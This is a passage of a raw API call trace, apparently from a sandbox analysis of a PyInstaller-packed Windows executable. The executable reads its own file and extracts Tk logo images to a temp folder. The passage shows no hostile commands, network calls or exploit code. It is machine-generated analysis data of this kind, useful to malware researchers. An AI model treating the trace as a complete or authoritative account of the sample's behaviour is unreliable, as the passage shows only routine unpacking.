out: lpFileInformation=0x4f8d4c) returned 1 [0044.432] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.432] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.432] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.432] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.432] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.432] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.432] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.432] CloseHandle (hObject=0x10c) returned 1 [0044.432] GetLastError () returned 0x0 [0044.432] SetLastError (dwErrCode=0x0) [0044.432] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo64.gif") returned 66 [0044.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo64.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logo64.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.432] GetLastError () returned 0x2 [0044.432] SetLastError (dwErrCode=0x2) [0044.432] GetLastError () returned 0x2 [0044.432] SetLastError (dwErrCode=0x2) [0044.432] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo64.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo64.gif", lpFilePart=0x0) returned 0x41 [0044.432] GetLastError () returned 0x2 [0044.432] SetLastError (dwErrCode=0x2) [0044.432] GetLastError () returned 0x2 [0044.432] SetLastError (dwErrCode=0x2) [0044.433] GetLastError () returned 0x2 [0044.433] SetLastError (dwErrCode=0x2) [0044.433] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo64.gif") returned 66 [0044.433] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logo64.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logo64.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.433] GetFileType (hFile=0x10c) returned 0x1 [0044.433] htonl (hostlong=0x86060000) returned 0x686 [0044.433] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.433] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x686, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x686, lpOverlapped=0x0) returned 1 [0044.434] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.434] CloseHandle (hObject=0x10c) returned 1 [0044.434] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.434] htonl (hostlong=0x30000000) returned 0x30 [0044.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.434] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.434] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.434] GetFileType (hFile=0x10c) returned 0x1 [0044.434] htonl (hostlong=0x53055e00) returned 0x5e0553 [0044.434] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x62b553, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.434] htonl (hostlong=0x342a0000) returned 0x2a34 [0044.434] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2a34) returned 0x561090 [0044.434] htonl (hostlong=0x342a0000) returned 0x2a34 [0044.437] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x2000, lpOverlapped=0x0) returned 1 [0044.437] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x563ad0 [0044.437] ReadFile (in: hFile=0x10c, lpBuffer=0x563ad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x563ad0*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.437] htonl (hostlong=0xf82a0000) returned 0x2af8 [0044.437] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2af8) returned 0x564ad8 [0044.437] htonl (hostlong=0x342a0000) returned 0x2a34 [0044.437] htonl (hostlong=0xf82a0000) returned 0x2af8 [0044.437] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5675d8 [0044.437] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5675d8 | out: hHeap=0x530000) returned 1 [0044.438] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.438] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563ad0 | out: hHeap=0x530000) returned 1 [0044.438] CloseHandle (hObject=0x10c) returned 1 [0044.438] GetLastError () returned 0x0 [0044.438] SetLastError (dwErrCode=0x0) [0044.438] GetLastError () returned 0x0 [0044.438] SetLastError (dwErrCode=0x0) [0044.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.438] GetFileType (hFile=0x10c) returned 0x1 [0044.438] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.438] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.438] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.438] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.438] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.438] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.438] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.438] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.438] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.438] CloseHandle (hObject=0x10c) returned 1 [0044.438] GetLastError () returned 0x0 [0044.438] SetLastError (dwErrCode=0x0) [0044.438] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.438] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.438] GetFileType (hFile=0x10c) returned 0x1 [0044.439] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.439] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.439] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.439] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.439] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.439] CloseHandle (hObject=0x10c) returned 1 [0044.439] GetLastError () returned 0x0 [0044.439] SetLastError (dwErrCode=0x0) [0044.439] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoLarge.gif") returned 69 [0044.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoLarge.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logolarge.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.439] GetLastError () returned 0x2 [0044.439] SetLastError (dwErrCode=0x2) [0044.439] GetLastError () returned 0x2 [0044.439] SetLastError (dwErrCode=0x2) [0044.439] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoLarge.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoLarge.gif", lpFilePart=0x0) returned 0x44 [0044.439] GetLastError () returned 0x2 [0044.439] SetLastError (dwErrCode=0x2) [0044.439] GetLastError () returned 0x2 [0044.439] SetLastError (dwErrCode=0x2) [0044.439] GetLastError () returned 0x2 [0044.439] SetLastError (dwErrCode=0x2) [0044.439] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoLarge.gif") returned 69 [0044.439] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.439] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoLarge.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logolarge.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.440] GetFileType (hFile=0x10c) returned 0x1 [0044.440] htonl (hostlong=0xf82a0000) returned 0x2af8 [0044.440] WriteFile (in: hFile=0x10c, lpBuffer=0x564ad8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x564ad8*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0044.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.441] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xaf8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xaf8, lpOverlapped=0x0) returned 1 [0044.441] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.441] CloseHandle (hObject=0x10c) returned 1 [0044.442] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x564ad8 | out: hHeap=0x530000) returned 1 [0044.442] htonl (hostlong=0x30000000) returned 0x30 [0044.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.442] GetFileType (hFile=0x10c) returned 0x1 [0044.442] htonl (hostlong=0x872f5e00) returned 0x5e2f87 [0044.442] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x62df87, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.442] htonl (hostlong=0xcc0d0000) returned 0xdcc [0044.442] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xdcc) returned 0x55e278 [0044.442] htonl (hostlong=0xcc0d0000) returned 0xdcc [0044.442] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.442] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.442] htonl (hostlong=0x310f0000) returned 0xf31 [0044.442] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf31) returned 0x562098 [0044.442] htonl (hostlong=0xcc0d0000) returned 0xdcc [0044.442] htonl (hostlong=0x310f0000) returned 0xf31 [0044.442] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562fd8 [0044.442] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562fd8 | out: hHeap=0x530000) returned 1 [0044.442] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0044.442] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.442] CloseHandle (hObject=0x10c) returned 1 [0044.442] GetLastError () returned 0x0 [0044.442] SetLastError (dwErrCode=0x0) [0044.443] GetLastError () returned 0x0 [0044.443] SetLastError (dwErrCode=0x0) [0044.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.443] GetFileType (hFile=0x10c) returned 0x1 [0044.443] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.443] CloseHandle (hObject=0x10c) returned 1 [0044.443] GetLastError () returned 0x0 [0044.443] SetLastError (dwErrCode=0x0) [0044.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images") returned 55 [0044.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.443] GetFileType (hFile=0x10c) returned 0x1 [0044.443] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.444] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.444] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.444] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.444] CloseHandle (hObject=0x10c) returned 1 [0044.444] GetLastError () returned 0x0 [0044.444] SetLastError (dwErrCode=0x0) [0044.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoMed.gif") returned 67 [0044.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoMed.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logomed.gif"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.444] GetLastError () returned 0x2 [0044.444] SetLastError (dwErrCode=0x2) [0044.444] GetLastError () returned 0x2 [0044.444] SetLastError (dwErrCode=0x2) [0044.444] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoMed.gif", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoMed.gif", lpFilePart=0x0) returned 0x42 [0044.444] GetLastError () returned 0x2 [0044.444] SetLastError (dwErrCode=0x2) [0044.444] GetLastError () returned 0x2 [0044.444] SetLastError (dwErrCode=0x2) [0044.444] GetLastError () returned 0x2 [0044.444] SetLastError (dwErrCode=0x2) [0044.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoMed.gif") returned 67 [0044.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\images\\logoMed.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\images\\logomed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.448] GetFileType (hFile=0x10c) returned 0x1 [0044.448] htonl (hostlong=0x310f0000) returned 0xf31 [0044.448] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.448] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xf31, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xf31, lpOverlapped=0x0) returned 1 [0044.452] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.452] CloseHandle (hObject=0x10c) returned 1 [0044.452] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.452] htonl (hostlong=0x30000000) returned 0x30 [0044.452] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.452] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.452] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.453] GetFileType (hFile=0x10c) returned 0x1 [0044.453] htonl (hostlong=0x533d5e00) returned 0x5e3d53 [0044.453] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x62ed53, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.453] htonl (hostlong=0xd8220000) returned 0x22d8 [0044.453] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x22d8) returned 0x561090 [0044.453] htonl 